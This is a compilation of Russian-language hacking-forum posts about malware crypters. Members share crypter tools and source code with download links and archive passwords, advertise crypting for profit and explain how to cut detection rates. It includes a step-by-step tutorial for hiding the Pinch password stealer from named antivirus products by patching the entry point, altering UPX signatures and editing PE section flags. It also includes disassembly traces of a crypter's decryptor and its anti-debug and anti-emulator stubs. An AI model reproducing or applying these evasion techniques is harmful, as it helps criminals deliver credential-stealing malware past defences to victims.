так, как сейчас с ихними заглушками, Про скорость это бред, не так уж и много
всего там. Ещё я не понимаю всей чепухи с инжектами,
почему аверы допускают 'уникальные техники' инжекта. Я думаю что у них хватит
денег на разработку системы детектирования внедрения кода
в чужую память. И отлетят все инжекты. И ведь прикол в том, что этого ещё не
сделали! У них огромные компании, а они анализируют файлик ёпт =)
Единственное что мне нравится в авера так это то, что они хукают функции. Это
очень хорошая идея как по мне, хоть и самая последняя т.к.
файл уже прошёл сигнатурное сканирование и говно-ав-вм. Осталось только это.
Ав-вм технология перспективная, но реализовали её не так,
как это стоило сделать. Повторяюсь, всё что я тут описал это не много для них,
у них оффисы, огромные деньги крутятся у них. Денег им
хватает даже очень (Я говорю про Kaspersky, ESET, Dr.Web и подобные).
Вобщем антивирусы это очень мутная тема, кто или что их заставляет
отказываться от таких решений нам узнать не дано. Возможно это
правительство, возможно это действительно не выполнимо, а может быть это всё
массоны:smile95:
Всех с Новым Годом.
решил выложит новогодний презент для форума.
Криптор "Static Criptor"
Данный криптор имеет ряд недостатков т.к спешил выложить до Нового Года
данный криптор рассчитан в основном на pinch все опции только для него но, вы
можете попробовать криптовать и другие программы.
в дальнейшем будет поддерживаться зеус и другие вирусы.
Static Criptor
пароль: "123grot"
Снял видео , в котором наглядно показано как спрятать троян от антивируса...
Смотрите...
Качать тут
www.woof.newmail.ru/chistiak.rar
Есть у кого халявные крипторы не палящиеся антивирусами?
Первая статья в жизни, просьба сильно не пинать.
Итак начнем.
Не знаю как другие, а я начал свое знакомство с ассемблером с написания своего
криптора.
Почему именно криптор? Сначала было интересно изучать ассмемблер (в универе
его не дали), хотелось понять, смогу ли я сделать что-то подобное. Хотелось
видеть
как код реально исполняется на железе (реальные кодеры меня поймут).
Потом я понял, что на этом можно делать неплохие деньги, и при этом не
горбатится на чужого дядю, опять же свой график, работа дома и еще куча
плюшек.
Первое время было легко, крипт шел на ура, чистка раз в неделю максимум, то
есть все довольны.
Потом понеслось-поехало, что ни день так детект от 1-2 ав (обычно нод + бит,
сейчас еще и аваст со своей сетью).
Технику поиска детекта оставим на потом. Сейчас нам интересен другой вопрос:
" Как облегчить чистку?"
У меня обычно уходит на читску минут 10-15, иногда приходится делать ее 2 раза
в день (связано с невозможностью полностью мутировать код антиэмуля).
Итак какие шаги нам предпринять чтобы максимально повысить отдачу от своего
криптора.
После многочисленных проб, я понял, что необходимо маскироваться под
реальные компиляторы , то есть структура выходного файла должна строго
соответствовать реальным файлам. Мы берем файл от кого-либо компилятора и
смотрим как он устроен, импорт, рич, версия линкера, расположение и порядок
секций
и еще много чего. Естественно энтропия и ресурсы. Мы делаем так что задектить
файл без кучи ложных детктов очень сложно (но можно). Еще одна хитрость в
том, что
мы специально оставляем место в декрипторе, которое будут детектить (чтобы
легче было чистить, и чтобы ав сильно не ковырялись в файле), у меня это вызов
антиэмулятора.
Вот когда я избрал такой подход, чистить стало легче, стало видно на какие
параметры ав смотрят особо. Иногда бывает достаточно добавить\изменить пару
байт
(речь не о устранении сигнатуры, а о приближении выходного файла, по
параметрам, к реальным файлам).
Есть у меня в крипторе даже возможность сделать выходной файл под разные
компиляторы (правда сейчас использую гибрид компиляторов).
Разберем параметры, которым ав уделяют особое внимание.
Одним из основных критириев нормального файла является его импорт. Тут 3 основных вопроса:
1.Какие функции можно использовать?
Берете любое стандартое win приложение и выдираете импорт оттуда.
Мой софт как раз так и делает (для того чтобы выходные файлы разнились,
достаточно случайным образом удалять несколько функций из полученных), обычно
я использую импорт калькулятора.
2.Как корректно вызвать функции?
Функции должны реально вызываться, или нужно сделать так чтобы ав в это
поверили. Ибо неиспользуемый импорт это детект.
Начнем с параметров передаваемых функции, я генерю код который их передает
(сами параметры случайны), используются все возможные варианты
передачи параметров в стек (с учетом того, какие варианты используются чаще в
реальных программах).
Теперь поговорим о вызове, раньше я делал реальные вызовы обернутые в SEH,
запихал все функции, которые нашел в заголовочных файлах masm32.
Это давало кучу детектов и нестабильное поведение выходного файла (ведь
параметры то случайные, некоторые функции портили стек и программа вылетала),
и время исполнения вырастало и отлаживать файлы
было нереально под защитой (допустим выходной файл падает, нужно найти это
место). Такая схема устраивала меня лишь сначала.
Потом я написал код, который выдирает импорт из PE файлов, детекты ушли, но
нужно было улучшить стабильность.
Я подумал, а почему бы не тупо не проскакивать вызовы функций? Добавил в
генератор импорта безусловный переход, который стоял перед фейковой функцией,
и стабильность стала 100%. Однако такая схема долго не протянула, так так без
всякого эмулятора, ав видели что импорт фейковый, то есть функуии реально не
вызываются
(случайные параметры
передаваемые в функцию тоже детект дают). После небольших раздумий мне стало
ясно, нужно сделать так чтобы без эмуляции кода не было понятно,
вызывается функция или нет. Это я сделал довольно легко, достаточно было
изменить переход на условный, в качетсве условия сравнения какой либо
переменной
из секции данных. Все законно, все как у реальных файлов, а функции то не
вызываются.
Еще были проблемы с базонезависимым кодом, наш код должен работать по любому
загруженному адресу, это накладывает некоторые ограничения на код.
Так же хочу отметить, Avira не видит вызовы функций при косвенной адресации
(или детектит), только прямые вызовы.
3. Количество вызовов функций?
У меня функции вызвываются как можно чаще, через каждую строку полезного кода.
Это дает нескольких преимушеств: размытие кода декриптора для выявления
сигнатур, усложняет реверс программы, делает код похожим на реальный (так как
выходной файл больше файла декриптора, соответсвенно и функций он должен
вызвать и больше и чаще), скрываются реальные вызовы функции (точнее
затрудняется их поиск).
В паблике найти сложно, функционал добротный.
Для использования достаточно перенести файл в окно около кнопки Obfuscate,
выбрать нужные опции и нажать эту самую кнопку. Файл будет сохранен в папке
AtomicProtected внутри проекта.
Некоторые настройки могут ломать файл. На скриншоте те настройки, которые не
сломали мой файл.
Ссылки:
Сам инструмент
Исходный код
Хех, не умею я темы называть правильно, ну да ладно..
Вообщем читаю данный форум, но я не из тех, кто просто читает, нужно немного
пусть даже статус: бита %)), написать своего
ЗЫ: "Новостная лента" – нравится
Жертва анализа:
http://demonteam.narod.ru/download/calc_crypted.rar (65KB)
Не знаю чье это творчество, но посчитал, что именно на этом сэмпле лучше всего
сделать "обзор", имеет место быть профессионализм у чела кто делал этот
"криптор".. (на правах нуба, если что пишу – все ниже написанное: ИМХО)
Суть обзора заключается в том, чтобы указать те аспекты, на которые надо
обращать при покупке/тесте криптора
Тут описаны будут вещи, ну скажем чич-то "технические", обычному юзеру тяжко
будет понять – ИМХО
Всегда просите тест-крипт калькулятора(реверс/анализ такого сэмпла сделать
всегда проще(реверс делайте всегда на VM!)), если файл палится(не содержащий в
себе засранчика), значит это проблемы чич-то криптора
Это уже может на многое указывать, что криптует ламерок какой-то, не шарит
даже в PE-формате и 99% делал с помощью чьих-то паблик, полу-приват(но, уже
паленый) исходников итд..
Также смотрите на возможность изменить иконку, версию, image base(для dll) в
файле и на возможность криптовать *.sys файлы
Если все это криптор умеет и после крипта траблов нет, значит, пишет его
профессионал, знающий отлично PE-формат и оптимизацию
Ну и самое главное обращайте внимание на сам саппорт - криптор без поддержки
это уже не криптор - ИМХО
И так посмотрим на сэмпл и сделаем первые выводы
Я здесь немного опишу софт который "юзаю", но че там в конце получиццо, хз.
пишу чич-то сходу
PEview(31KB) - http://www.magma.ca/~wjr/PEview.zip
Показывает структуру PE-формата, очень удобная навигация по смещениям итд.
image base на стандартный не изменил(у калькулятора image base естественно
"другой"), ставим минус
посмотрим на импорт, хм.. не изменен, но судя по структуре стаба.., сделать
фейковый импорт запросто может – поставим минус
но с идеей, сразу стучимся в саппорт %))(ламерскими вопросами есссстено не
тревожим)
шучу конечно-же, криптор импорт меняет, но стремно – не хватает библ типа GDI
итд., разнообразия скажем так..
так теперь обратим внимание на Entry Point, кажет в первую секцию кода.. но
"атрибуты" секции кода не радуют, должно быть 0x60000020, а имеем всего лишь
банально 0xC0000000 – поставим минус
к ресурсам ламерское отношение – лижбы было да и хс.. - минус
на сим ламерский обзор заканчиваю, каждый более подробно может обратить
внимание на все аспекты через утиль PEview или другую однотипную %)))
и так проанализируем следующее
вопрос, какие техники криптор юзает – ответ очевиден, достаточно посмотреть на
код
инструмент юзаю стандартный, как и все Shadow(мод. ollydbg) более подробно
читаем цикл статей на васме для нубов
для профи, посещаем - http://www.openrce.org/
из техник юзается обфускация и пермутиция
ЗЫ: вот есть пишут криптую в ручную – обычно это просто генерик
рандомный(обфускация) для ламеров, чтобы повысить продажи и сделать вид, что
трудиццо каг негр, но это просто сопли и не более %)))
декриптор скорее всего мутирует при каждом крипте – здесь плюс (даже с одно
сэмпла, можно сделать такие выводы!)
Code:Copy to clipboard
[decrypt]
01013A63 E8 6D120000 CALL 01014CD5
01014DBB 5E POP ESI
ESI=01013A68
01014FD9 81EE CCF9FFFF SUB ESI,-634
ESI=0101409C
01014D65 56 PUSH ESI
01015413 81C6 CCF9FFFF ADD ESI,-634
ESI=01013A68
01015185 B8 81432F16 MOV EAX,162F4381
EAX=162F4381
01015038 81F0 7B532F16 XOR EAX,162F537B
EAX=000010FA
01014CA0 E9 99020000 JMP 01014F3E
01014F3E F7DA NEG EDX
EDX=135E82FF
01014F40 81EA 4C49725F SUB EDX,5F72494C
EDX=B3EC39B3
0101558A 8A1E MOV BL,BYTE PTR DS:[ESI]
EBX=010100F8
0101513D C0C3 04 ROL BL,4
EBX=0101008F
01015503 C0CB 1B ROR BL,1B
EBX=010100F1
01015566 80C3 C7 ADD BL,0C7
EBX=010100B8
01015008 8AFB MOV BH,BL
EBX=0101B8B8
010150C5 883E MOV BYTE PTR DS:[ESI],BH
0101526F 46 INC ESI
ESI=01013A69
0101506E 48 DEC EAX
EAX=000010F9
01014B91 8BD0 MOV EDX,EAX
EDX=000010F9
010152BE 81EA 168358BD SUB EDX,BD588316
EDX=42A78DE3
01015306 81FA EA7CA742 CMP EDX,42A77CEA
0101530C 0F85 2EFCFFFF JNZ 01014F40
01014F73 C3 RETN
0101409C 55 PUSH EBP
но как я уже выше писал, атрибуты секции сведут на нет, эти "старания"
но его стаб позволяет внести небольшие изменения, чтобы убрать эти недостатки,
скорее всего здесь просто еще не было траблов с аверами, поэтому все так
просто..
морфа нет, сталобыть детект по "плавающим сигнатурам" возможен(ну вернее, при
первом-же попадании к аверам его задетектят)
при этом, если обратить внимание на конструкции кода
Code:Copy to clipboard
01013587 81FA DB845519 CMP REG,IMM32
0101358D 87C9 XCHG ECX,ECX
0101358F 0F85 1FF9FFFF JNZ 01012EB4
01012EB9 E8 8E0A0000 CALL 0101394C
0101394C 8D00 LEA EAX,DWORD PTR DS:[EAX]
0101394E 8F4424 FC POP DWORD PTR SS:[ESP-4]
они по идее меняться долны при детекте, но.. на аналогичные, до следующего
детекта
такие вот конструкции(ЛЯПЫ) оставляют, чтобы создать иллюзию поддержки, но
суть здесь в том, что выигрывают "ВСЕ" и аверы и криптующий
авер через определенное время(от недели до месяца) "вносит сигнатуру в
базу"(для тех кто реально платит), а криптующий сразу апгрэйдит и апает темы
на всех форумах %)))
ЗЫ: проверяющий, вот так сразу врятли заметит такие ляпы – ИМХО
тут можно просто подумать, что это элемент пермутации и предназначен для
прыжков на перестановленный код и доказать такой ляп никто не захочет!
Взглянем на конструкции которые юзаются для защиты от ав – назовем это все одним словом anti-av
Code:Copy to clipboard
[anti trace]
01012F43 B8 72C96241 MOV EAX,4162C972
0101377C E9 A4020000 JMP 01013A25
01013A25 D2DF RCR BH,CL
01013A27 D2CD ROR CH,CL
01013556 81C0 AD326BB9 ADD EAX,B96B32AD
01013718 81F8 22AA668B CMP EAX,8B66AA22
0101371E 0F85 03030000 JNZ 01013A27
[anti debug]
01012ECC 64:8B05 30000000 MOV EAX,DWORD PTR FS:[30]
EAX=7FFDF000
01013132 8B40 54 MOV EAX,DWORD PTR DS:[EAX+54]
EAX=7F6F0688
01013187 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
EAX=7F6F06A0
0101375C 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
EAX=7F6F2170 UNICODE "C:\WINDOWS"
010131F2 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]
EAX=0057005C
010139DE 81E8 5D005700 SUB EAX,57005D
EAX=FFFFFFFF
01013485 CD 2E INT 2E
EAX=C000001C EDX=FFFFFFFF EDX=01013487
01012DAF 2BD0 SUB EDX,EAX
EDX=4101346B
0101356E 81C2 1C0000C0 ADD EDX,C000001C
EDX=01013487
01013A50 81EA 02000000 SUB EDX,2
EDX=01013485
01013081 8BC2 MOV EAX,EDX
EAX=01013485
01012F65 66:8138 CD2E CMP WORD PTR DS:[EAX],2ECD DS:[01013485]=2ECD
01012F6A E9 78040000 JMP 010133E7
010133E7 74 88 JE SHORT 01013371
010138B7 C3 RETN
01013371 E9 ED060000 JMP 01013A63
[anti emulator]
010140A3 B8 03000000 MOV EAX,3
EAX=00000003
010140A8 E9 77FEFFFF JMP 01013F24
01013F24 33D2 XOR EDX,EDX
EDX=00000000
01013F26 66:8EE8 MOV GS,AX
01013F29 E9 02FFFFFF JMP 01013E30
01013E30 66:8CE8 MOV AX,GS
EAX=00000000
01013E33 D1C8 ROR EAX,1
01013E35 72 F9 JB SHORT 01013E30
01013E37 FC CLD
Я их разместил в порядке появления, по адресам.. думаю, понятно будет, где все
находится
Не густо-о.., нового нет ничего и опять, можно сказать лижбы было – хех, минус
И еще не критично, но есть минус у него юзается конструкция для поиска загрузки адреса ntdll.dll(и не только)
Code:Copy to clipboard
[get ntdll.dll module handle]
01013A8C 68 F55ACF54 PUSH 54CF5AF5 хеш
010146F7 E8 E3FEFFFF CALL 010145DF
======
010145DF 55 PUSH EBP
010140B1 8BEC MOV EBP,ESP
EBP=0006FF58
010140B3 53 PUSH EBX
010140B4 64:8B15 30000000 MOV EDX,DWORD PTR FS:[30]
EDX=7FFD5000
010140BB 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
EDX=00191EA0
01014922 8BDA MOV EBX,EDX
EBX=00191EA0
01014924 83C3 0C ADD EBX,0C
EBX=00191EAC
010148DF 8B52 0C MOV EDX,DWORD PTR DS:[EDX+C]
EDX=00191EE0
010148E2 8B12 MOV EDX,DWORD PTR DS:[EDX]
EDX=00191F48
010147CF 3BD3 CMP EDX,EBX
010147D1 0F85 12010000 JNZ 010148E9
010148E9 8B4A 30 MOV ECX,DWORD PTR DS:[EDX+30]
ECX=7C9226A4 UNICODE "ntdll.dll"
010148C2 33C0 XOR EAX,EAX
EAX=00000000
010148CE 66:8339 00 CMP WORD PTR DS:[ECX],0 DS:[7C9226A4]=006E
01014746 0F85 7A010000 JNZ 010148C6
010148C6 C1C0 07 ROL EAX,7
010148C9 3201 XOR AL,BYTE PTR DS:[ECX]
EAX=0000006E
010148CB 83C1 02 ADD ECX,2
ECX=7C9226A6 UNICODE "tdll.dll"
010148CE 66:8339 00 CMP WORD PTR DS:[ECX],0 DS:[7C9226A8]=0064
01014746 0F85 7A010000 JNZ 010148C6
0101474C F7D0 NOT EAX
EAX=54CF5AF5
0101474E 3B45 08 CMP EAX,DWORD PTR SS:[EBP+8]
0101468F 0F85 36010000 JNZ 010147CB
01014695 8B42 18 MOV EAX,DWORD PTR DS:[EDX+18]
EAX=7C900000 IMAGEBASE "C:\WINDOWS\system32\ntdll.dll"
01014698 E9 3A010000 JMP 010147D7
010147CB 8B12 MOV EDX,DWORD PTR DS:[EDX]
010147CD 33C0 XOR EAX,EAX
010147CF 3BD3 CMP EDX,EBX
010147D1 0F85 12010000 JNZ 010148E9
010147D7 5B POP EBX
EBX=BEFE3F66 ESP=0006FF58
01014334 C9 LEAVE
ESP=0006FF5C EBP=0006FF84
01014335 C2 0400 RETN 4
Но тут трабла может выскочить, если имя ntdll.dll будет написано Ntdll.dll,
файлег упадет, так как хеш уже будет другой
Но в паблике уже эту траблу обсосали, и даже готовое решение вложили - я про
алго поиска, если что
Ну, далее это уже чич-то тех. аспекты и к теме отношения только косвенное
имеют..(если честно надоело уже че-то писать)
Может кому пригодится
Инструменты:
………………
HIEW 6.8x
PE Tools
PEiD 0.92
UPX 1.25
Some brains
………………
Всё, что написано ниже, предоставлено чисто для ознакомления. Я не несу ответственности за противозаконное использование материала.
………………
Зачем это пишется? Просто так.. Может вы скажите что умеете и так прятать любой вирус с помощью … ASProtect? Xtreme-Protector? .. or any protector? а может с помощью Afx!AVSpoffer? Да, конечно неплохо получается, пожав вирус получаем:
File size: 17KB compressed to 102KB, Ratio: 602,9%
Как круто =) да.. Об X-protector’e я уже молчу, там ещё круче.
Спуф от fij.. Скока мусора вставляется за один подход? А чтоб от веба спрятать
вам придётся жать кнопку около 12-и раз. После этого шанс выжить у файла как –
то резко уменьшается
.
Тем более сейчас уже не актуально его использовать, по моему мнению.
В свою базу его не добавил, наверное, самый ленивый AV(Может это не так?).
Т.к. сигнатуры (далее сигны -> последовательность байт) во все файлы начиная с
entry point вставляет одинаковые.. Например:
Если не выбирать никакие опции получается:
CODE
60 55 81 F9 ?? 00 00 00 33 C0 55 54 81 F9 ?? 00 00 00 58 59 59 81 F9
Crypt DS:seg > 60 B8 00 ?? ?? 00 33 C9
random alghr > 60 55 90 90 81 F9 ?? 00 00
Другие опции пока ещё не доступны. Хотя мне было бы интересно посмотреть на “crypt RSRC”.
Ну а на счёт крипторов, которые вроде размер не увеличивают, да можете ими пользоваться, пока они не дойдут до суппорт-центра AV. А ребята там очень живо работают ?. Если попалится сама прожка, то вместе с ней и все чистяки.
Это я всё к тому, что зачем юзить какие - то левые проги, когда самому можно руками всё сделать. Уж тем более жать протекторами, которые совсем не для этого предназначены.
В данной статье я хочу показать вам на примере, как спрятать вирус от любых AV. Главное как можно меньше внести изменений в файл, мы же не собираемся шифровать весь файл, просто пара левых инструкций не помешает. Главное, чтоб работоспособность сохранилась, ведь нам не нужен дохлый файл . Проверять я буду этими антивирами: KAV 5.0, Dr.WEB 4.32b, McAfee Virus Scan 8.0 #41. На остальных не имеет смысла тестить .
Итак, как же всё - таки можно спрятать вирус? На самом деле всё очень просто… на первый взгляд . Практически все AV начинают сканить файл с точки входа. Далее устанавливают, упакован ли файл? Если да, то следует унпак, нет продолжают дальше...( проверяя валидный ли это PE файл, ведь у нас exe ) Именно здесь где то и есть наша сигна, по которой антивир палит вирус. Это не всё конечно, есть ещё уникальные сигны, дабы каждый файл не палился -). Если знакомых сигн нету, AV начинает эмулить пару инструкций, проверяя не хотят ли его наепать. Самый нормальный эвристик у веба.. имеет глубину 12 уровней. Мда… McAfee делает совершенно иначе, как мне показалось. Похоже, что ему на EP вообще посрать как
Дак вот.. нам надо подправить пару байт так, чтобы наша хорошая програмулька
не упала и не палилась.
Естественно вставляемый нами код будет представлять мусор и больше ничего.
Мы не будем использовать умные фичи типа шифрования, т.к. это здесь не нужно.
Для начала возьмем свежескомпиленный pinch.exe. Будем прятать его.
Что бы можно было на себе тестить в настройках я выбрал: генерить всё в
passwords.txt.
И ещё.. я не тыкнул пимпу “Encrypt”, это для шифрования инфы и паковку FSG
1.33, какой то извратный паковщик +).
Нусс.. открываем в hiew32.exe наш вир. Ну тут всё как обычно идёт pe header..
секции и т.д..
Заползём ка в третью секцию. Жмём F8 -> F6 -> .data -> [enter].
http://www.web-hack.ru/images/forum/virus/01.png
И что мы видим? упс.. наши настройки.
http://www.web-hack.ru/images/forum/virus/02.png
Естественно просто так их нельзя оставить. Но сначала надо немного поковырять
Entry Point..
Идём на EP. Жмём F8 -> F5 затем ещё [enter] нажмите, будем вручную вбивать асм
инструкции. Быстро записываем этот адрес. У меня: 403D8A <- OEP.
http://www.web-hack.ru/images/forum/virus/03.jpg
Сейчас мы немного побалуемся с точкой входа.
Листаем немного вниз, ищём кучу нулей. Раз 9 стоит нажать page down.
Встаем на любое место и .. Откуда эти нули?
Это обычная оптимизация для процессоров x86. Компилятор размещает данные по
адресам, кратным величине выравнивания. В общем это как раз для нас
.
Введём самое простое, что приходит на ум ( F3 -> F2 ):
CODE
pushad; сохраняем регистры
mov ecx, 125; заносим какое – то число
sub ecx, 110; чего – то вычитаем ..
xchg ecx, eax
xor eax, eax; обнуляем eax
xor ecx, ecx; обн. ecx
pop eax
pop ecx
mov eax, 403D8A; в eax наш OEP
mov ecx, 9
sub eax, ecx
add eax, 9
jmp eax; прыжок на OEP
Очень примитивно..
Таких переходов можно делать сколько угодно, лишь бы места хватило, а его как
видно очень даже много.
Что мы вообще сделали? Сохранили регистры, то, что идёт до [pop eax] всё
мусор.. и после тоже. В eax занесли наш OEP, в ecx пихнули 9, Вычли из eax,
ecx. Прибавили к eax, 9 и получился OEP. Дальше понятно.. просто джамп.
Что очень просто? Ну а что.. и этого хватит на первое время. Может в будущем
такие фичи будут сечь Антивиры. Хмм.. было бы круто -)..
Такс.. всё это дело вбили, жмём [Esc], F9 для сохранения.
Получилось что – то типа того:
http://www.web-hack.ru/images/forum/virus/04.jpg
Теперь пихаем наш файл в PE Tools (я использую PE Tools v1.5 Xmas Edition - by
NEOx) .
Хотя EntryPoint можно менять сразу в hiew, но я чё - то не помню как там было
..
и флаги секций тоже.. Открываем вир с помощью пе эдитора. Жмём “Optional
Header” и там смотрим Entry Point. Вот здесь нам нужно положить новый адрес. Я
начал вбивать с адреса 404178. Поэтому из 404178 вычитаем image base (400000 –
виртуальный адрес в памяти, начиная с которого программа загружена в память),
получается 00004178. Вписываем новый адрес и “Ok”. Запустим наш exe..
работает?
..
cool. Нет? Хмм.. читай всё сначала.
Проверим.. значит KAV и Веб не палят, в отличии от McAfee -).
Что делать?.. пакнем наверно. Я возьму UPX 1.25, простенький и мощный
паковщик.
Сначала посмотрим что показывает PEiD…> Not a valid PE file. %)
Не очень хорошо, после паковки упиксом такого файла, он быстренько сдохнет. В
этом плане ASPack более неприхотлив. Не будем далеко ходить, воспользуемся
плугом для пеида.. Rebuild PE (http://www.textsoft.nm.ru/RebuildPE.dll).
Теперь что у нас…> Nothing found *. Так то лучше ..-). Теперь пакуем UPX’oм.
Получилось 9 216 byte. Просто монстр какой – то
.
Сейчас задача внести пару изменений, чтобы анализатор не определял упикс,
следовательно, не смог его распаковать.
Засовываем опять вир в hiew, [enter]. Листаем немного вниз и видим такое:
CODE
000003D0: 00 00 00 00-00 00 00 00-00 00 00 31-2E 32 35 00 1.25
000003E0: 55 50 58 21-0C 09 02 0A-6A D5 0F A0-BC 8C 4F 48 UPX!+0O0j-0а-МOH
000003F0: F8 64 02 00-BC 1A 00 00-E7 42 00 00-26 00 00 94 °dO -> чB & Ф
Сигны UPX. Недолго думая затираем их, F3 и вставляем какой нить мусор, F9 –
сохраняем.
Потом [enter], F8 > F5 и мы на EP:
CODE
.00428AC0: 60 pushad <- OEP
.00428AC1: BE00704200 mov esi,000427000 -----^ (4)
.00428AC6: 8DBE00A0FDFF lea edi,[esi][0FFFDA000]
.00428ACC: 57 push edi
.00428ACD: 83CDFF or ebp,-001;"O"
.00428AD0: EB10 jmps .000428AE2 -----v (5)
.00428AD2: 90 nop
.00428AD3: 90 nop
Проделаем тоже самое, что и с непакованным вирем. Листаем вниз.. и видим кучу
нулей
.
Встаём на любой адрес, F3 и сначала вводим опкоды: 74 00, затем на следующей
строчке: E9, F9, пока сохраним.
CODE
00428C21: 7400 je .000428C23 -----v (3)
00428C23: E900000000 jmp .000428C28 -----v (4)
Это просто трюк, для обхода PEiD …> PE Pack 1.0 -> ANAKiN.
Дальше вводим уже знакомое (F3 > F2):
CODE
pushad
mov ecx, 428AC0; в ecx OEP
mov eax, 1
dec eax
mov eax, ecx
jmp eax
Вот и всё.. теперь опять вир пихаем в PE Tools, меняем Entry Point на новый
адрес, с которого вы начали вводить: 74 00 и т.д. У меня 00428C21 – image base
= 00028C21.
По пути заходим в “Sections”, затираем названия секций и меняем характеристики
на C0000080. Запускаем наш вир… и он работает
..
Проверяем антивирами.. все в дауне, включая McAfee
.
Да, по ходу дела бекапте пинч, а то маловероятно, что с первого раза всё
получиться.. хотя может быть.
Конец близок. Попробуем расунпачить файл.
http://www.web-hack.ru/images/forum/virus/05.jpg
А затем …
http://www.web-hack.ru/images/forum/virus/06.jpg
Хы.. крута!
..
попробуйте любыми автораспаковщиками.. у вас ничего не выйдет.
Не стоит думать, что это 100% защита, всё это дело распаковывается руками за
одну минуту.
Вот так вот просто можно обойти всех антивирусов.
Если следовать этому плану, возможно будет спрятать любой вирус. Хотя бывает
иногда, ну прям палится и всё..
.
В этом случае придётся поискать сигну, отрезая секции например.
Дальше уже по обстоятельствам разбираться. Но не стоит пользоваться левыми
прогами, для прятанья. Чистяки получаются у всех одинаковые, прога действует
по определённому алгору, кот. можно подсмотреть
и никакой полиморфизм не поможет, если тока не придумывать что – то сложное
(свой движок).. хотя врятли. А так руками каждый делает свой уникальный чистяк
(если не будете вставлять одинаковый код, придумайте что – нить своё).
Никто не гарантирует, что всё получится с первого раза. Для этого нужно
набивать руку. Таким образом, на один чистяк уходит порядка 5 мин. Ну максимум
10. Выбирать способ конечно вам, настаивать я не буду… Я лишь высказал своё
мнение.
:punk: :punk: :yahoo:
Кто может помочь открыть архив ? Известны 3 части пароля LIS3 LGGV 8W59
Собственно вопрос.
Как криптовать руками файлы?
Вернее что нужно знать чтобы научиться ручному крупту и какой нужен софт?
Заранее извиняюсь если вопрос не уместен или не в тот раздел.
Название криптора CODESPOILERR.
В данный момент выложен для ознакомления, с согласием автора данного продукта.
Криптор статичный, к стабу 1кб, криптует на наш взгляд ВСЕ, если вы заметите
какие либо неполадки или неработоспасобность на каких то системах или каких то
exe, описывайте в данном топике либо в 558oo855.
Продукт будет развиваться бесплатно до поры до времени.
Ожидается также выпуск полиморф криптора и джойнера.
Криптор вы можете скачать [CodeHider]
Следите за обновлениями.
В момент высадки криптора 1/20 - Avast! Win32:Malware-gen
Уважаемые мемберы форума, не забываем писать ваше мнение, пожелание...
С уважением p.r.o
Каспером палится выдача ПДФа.
ICQ227919129
Добрый день.
Дописал криптор, но есть проблемы.
К сожалению, отстук не блещет. Хочется как-то повысить, но даже не понимаю,
как
Точнее, в чем могут быть проблемы, и как его повысить?
Знаю, здесь сидят классифицированные люди, знающие толк в этом.
Заранее спасибо.
Вот например прикладываю криптованный Hello World.
Ссылка на криптованный файл: http://www.sendspace.com/file/arqs3z
Выкладываю криптор exe файлов вместе с исходниками. Криптор написан на Delphi.
Писал для новичков и тем кому интересно, для изучения. Автор я.
- Определение секций импорта, ресурсов, tls не по именам секций.
- Криптует файлы пожатые upx возможно и криптует другие паковщики, не
проверял.
- Поддержка крипта Delphi приложений с tls. (Просто сохраняет таблицу)
- 275 Строчек кода
Криптор без GUI, статичный простой ксор на один байт.
Размер криптора: 25 кб.
Приветствую всех!
Писал свой криптер exe файлов по туториалу одного блогера из Канады.
По сути, почти весь код - его, я лишь добавил пару полезных функций (клонер
Assembly, переименовыватель методов, генерация и вставка джанка в уже готовый
вирусняк)
Ну и естественно, дизайн мой.
А еще я переименовал все подозрительные имена в стабе под наиболее часто используемые имена переменных, добавил задержку с помощью NtDelayExecution и пересчет процессов после запуска, для немного-немало хоть какого то антидебага
Криптер я сам особо не юзал и не оказывал услуги по крипту, так что по сей день дефендер не палит крипт в статике (по крайней мере, на моей 11 винде, даже в рантайме - всё чисто)
Шифрование входного файла идет сначала с помощью XOR, а затем RC4, и все это чудо расшифровывается после запуска.
Криптер поддерживает только x32 exe-файлы
Нынешний детект на Kleenscan - 7/40
(https://kleenscan.com/scan_result/afb6ad2d909576e84a40645dd8668d5554baff0a9b95388e6dbebd9c0803c299)
(это кстати, учитывая то, что пару раз я сливал свой билд на ВТ)
Сливаю просто потому что
Исходный, необфусцированный код стаба приложу в архиве
Пароль от архива: Pbaireg.SebzOnfr64Fgevat("rUAmYzymPt==")
(ROT13)
(По какой-то причине не могу прикрепить ZIP к теме, так что вот ссылка на скачивание архива):
](https://www.mediafire.com/file/sycb8wgenehcf75/SHANYACRYPTER.zip/file)
MediaFire is a simple to use free service that lets you put all your photos, documents, music, and video in a single place so you can access them anywhere and share them everywhere.
www.mediafire.com
Отредактируйте значение в скобках в методе IAssemblyName(180000); в файле Stub.cs в папке Resources чтобы установить нужное количество миллисекунд, которые будут отведены на задержку перед запуском вашего криптованного файла.
Спасибо за внимание! Жду оценок
Сабж. Интересует как криптовать вирусню вручную без правки исходного кода. Подскажите как это делается, как это вообще происходит, накидайте актуальных мануалов, а то в поиске по сайту одни предложения об услуге.
Всем привет, уважаемые жители форума.
Давно наблюдаю за форумом, как гость, еще с момента когда произошла «перезагрузка» форума на новый движек и домен.
Также конечно наблюдал и за дамагой.)))
Но что-то не решался зарегистрироваться, хотя было время хотел попробовать себя в битве за суперприз, когда были конкурсы за лучшую статью, но к сожалению со временем совсем беда, к тому-же веду еще свой проект, который отнимает часто много времени и сил.)
Скажу сразу, что я не одобряю малварь в комерс , но тем не менее, никого не осуждаю, каждый сам решает как ему зарабатывать, мне-же больше интересны малварные технологии и хакерство, именно как путь к саморазвитию и изучению технологий, причем не только что-то там закодить, а это еще и возможность прокачать скилы и в администрировании, и в изучаении операционных систем, в зависимости от направления, а направлений очень-очень много.)
Также хочется поблагодарить здешних посетителей, это merdock и Jeffs .
Без вас-бы этой статьи не было.
И еще сразу хочу обратить внимание и извинится за качество кода, который будет приложен к этой статье, данный материал больше направлен, как концепт к изучению и обсуждения.
Поэтому все, что я делаю на паблик, это часто весьма неотлаженный код, и работает он ровно так чтобы показать концепт, все остальное, если вы хотите написать в комерс, то можете доработать этот проект, можете написать свой, главное понимать суть, в этом смысл публикации, а не предоставить готовое решение для комерса.
И последнее, данная статья может не удовлетворять требованиям к размещению, я не буду считать символы чтобы уложится в 5К, также как и написанное здесь, также может не удовлетворять уровню, который хочет увидеть админ.
Статья написана не для денежного вознаграждения, поэтому даже если статья не удовлетворяет требованиям, просьба не удалять её, пусть будет.
Все-же я потратил время на написание, думаю это неповредит форуму, а может кому и покажется полезным.
